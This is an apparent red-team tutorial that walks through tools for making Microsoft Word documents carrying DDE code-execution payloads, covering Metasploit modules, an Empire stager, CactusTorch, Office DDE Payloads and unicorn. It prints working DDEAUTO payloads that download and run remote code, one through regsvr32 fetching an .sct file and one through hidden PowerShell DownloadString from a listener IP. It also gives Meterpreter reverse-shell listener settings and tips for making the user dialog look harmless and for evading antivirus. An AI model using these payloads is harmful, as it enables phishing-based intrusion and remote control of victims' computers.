In October 2017 SensePost released an article which explained how it is possible arbitrary code to be executed from a Microsoft Word document and without using any macros or scripts. The technique that SensePost described was utilising a legitimate Microsoft office functionality which is called DDE (Dynamic Data Exchange). DDE is a protocol which was developed to allow transportation of data between Microsoft office applications.
Since this technique doesn’t infect the Word document with malicious macros that can be detected by email gateways it has the same result as remote code execution can be achieved. This attack is very effective and therefore it is used widely in malware campaigns and red team assessments. The following tools can generate various DDE payloads that could be used during a red team assessment.
Metasploit Framework has a module which can be used to deliver attacks via DDE.
This module can generate a Word documents in .doc and .rtf format which will contain a DDE payload. This module can be configured easily with the following parameters.
set SRVHOST IP
set payload windows/meterpreter/reverse_tcp
set LHOST IP
set LPORT 4444
The benefit of this module is that the DDE payload will be executed by utilising the regsvr32 method to evade AppLocker restrictions and that the dialog box that will appear to the target user will not contain any alarming messages.
DDE payloads will be generated in that form:
DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c regsvr32 /s /n /u /i:http://192.168.1.203:8080/UEdLz2E3W.sct scrobj.dll"
The dialog box that will appear to the user when the malicious word document will open will look legitimate as it will ask the user to start MSword.exe. However this is not a valid path.
If the user choose to start the fake MSword.exe the payload will executed and a Meterpreter session will open.
Interaction with the Meterpeter session can start and commands can be executed on the target host.
sessions -i 1
Another similar Metasploit module has been developed (even though it is not part of the Metasploit) which can generate DDE payloads in HTA format. However it cannot generate the Word document. This module can be downloaded from the following location.
In order to load the module with the Metasploit Framework it needs to be moved to a suitable Metasploit directory.
mv dde_delivery.rb /usr/share/metasploit-framework/modules/exploits/windows/
The Metasploit needs to start and from the console the reload command will load all the modules that exists in the Metasploit directories.
This module can be configured like the previous:
set SRVHOST IP
set payload windows/meterpreter/reverse_tcp
set LHOST IP
set LPORT 4444
The module will start a server on port 8080 which will contain the arbitrary code and it will generate the DDE payload which needs to be used inside a field of a Word document.
The dialog box that will appear to the user upon opening the Word document will be the following:
The payload will executed if the user choose the option Yes.
Empire is one of the most popular command and control tools. It provides a stager which can generate Word documents with embedded DDE payloads. A listener needs to be configured first that will accept the connection.
(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners/http) > info
(Empire: listeners/http) > execute
[*] Starting listener 'http'
[+] Listener successfully started!
The command execute will start the listener.
The list of active listeners can be obtained with the listeners command.
The stager that can replicate the DDE attack is the following:
usestager windows/macroless_msword http
Upon execution the stager will use the active listener and it will create a PowerShell script that will contain the arbitrary code and finally it will generate the Word document in .docx format that will have embedded the DDE payload.
The DDE payload that the Empire stager generates would be the following.
DDEAUTO C:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://192.168.1.204:8000/default.ps1');powershell -e $e "
The default.ps1 PowerShell script needs to be hosted on a web server. Since port 80 is already occupied by the listener another port needs to be used. In python the following command will start a web server on port 8000.
python -m SimpleHTTPServer
The DDE payload that Empire is using will produce the following dialog box in Microsoft Word.
The Yes option will trigger the payload and the Empire listener will receive the connection.
CactusTorch DDE Auto
William Genovese developed a bash script called CactusTorch DDE Auto which utilises CactusTorch tool for generation of payloads and Metasploit Framework for configuration of the listener that will receive the connection.
chmod +x cactus.sh
CactusTorch DDE Auto will retrieve automatically the internal and the external IP address of the host. The script only needs three parameters to automate the attack:
Once the configuration is finished the script will generate a base64 payload in various formats, move the payload files into an Apache directory and start the service.
CactusTorch DDE Auto can generate payloads in JS, VBS and HTA format.
The dialog box that will appear upon opening the Word document with the DDE payload will be the following:
The payloads will be executed through the command prompt if the user choice is Yes. Unfortunately the script doesn’t perform any obfuscation on the payload or in the dialog box, making it easier for the target user and blue team to detect the suspicious activity.
Office DDE Payload
- Word with DDE payload
- Word with DDE frameset
- Word with obfuscated DDE
These methods have been described in detail here. Prior to any execution of the script dependencies must be installed:
pip install -r requirements.txt
It is up to the red teamer to decide which payload to use and which method in order to assist in evasion. This script can be combined with the following Metasploit module:
The script upon execution it will require from the user to insert the DDE payload of his choice in three parts. Furthermore it will ask the user to enter the URL of the server that the payload word document will be hosted in order to construct the DDE attack via frameset on the template document.
There are two delivery methods of this attack. One is to send the payload-final.docx directly to the target user and by setting a listener to obtain a meterpeter session and the other to host the payload-final.docx on a web server and use frameset to create a reference on another Word document that contains the DDE. The frameset would be injected inside of the webSettings.xml file.
The office dde payloads will create and the webSettings.xml.rels file that will contain the link of where the Word document that contains the DDE is hosted.
When the target opens the template document that contains the frameset the following dialog box will appear:
The second dialog box will execute the arbitrary payload if the option Yes is chosen by the user:
The listener that was set by the module will receive the connection and a Meterpreter session will open.
Dave Kennedy has imported the DDE attack into unicorn which is a tool that can inject shellcode into memory by using the PowerShell downgrade attack. Executing unicorn with the following parameters will generate the shellcode payload:
python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.204 4444 dde
Unicorn will automatically generate various files:
- powershell_attack.txt // DDE Payload
- unicorn.rc // Metasploit listener configuration
- download.ps1 // Shellcode
Running the unicorn.rc will initiate the Metasploit handler with the appropriate configuration.
msfconsole -r unicorn.rc
Unicorn uses the field code obfuscation similar to Office DDE Payloads tool in order to avoid detection. The DDE payload generated by unicorn will look similar to the below:
The download.ps1 PowerShell script needs to be hosted on a server so when the document is opened it will try to execute the payload. The Word dialog box that will appear to the user will inform him that an Add-On is not accessible and to start Word instead making the dialog box more sophisticated.
Antivirus companies have made progress and they are trying to detect DDE attacks. Therefore obfuscation is necessary for the construction of a payload that has higher possibility to evade detection and establish an initial footprint in the network.
The following table summarises the list of DDE tools and their features.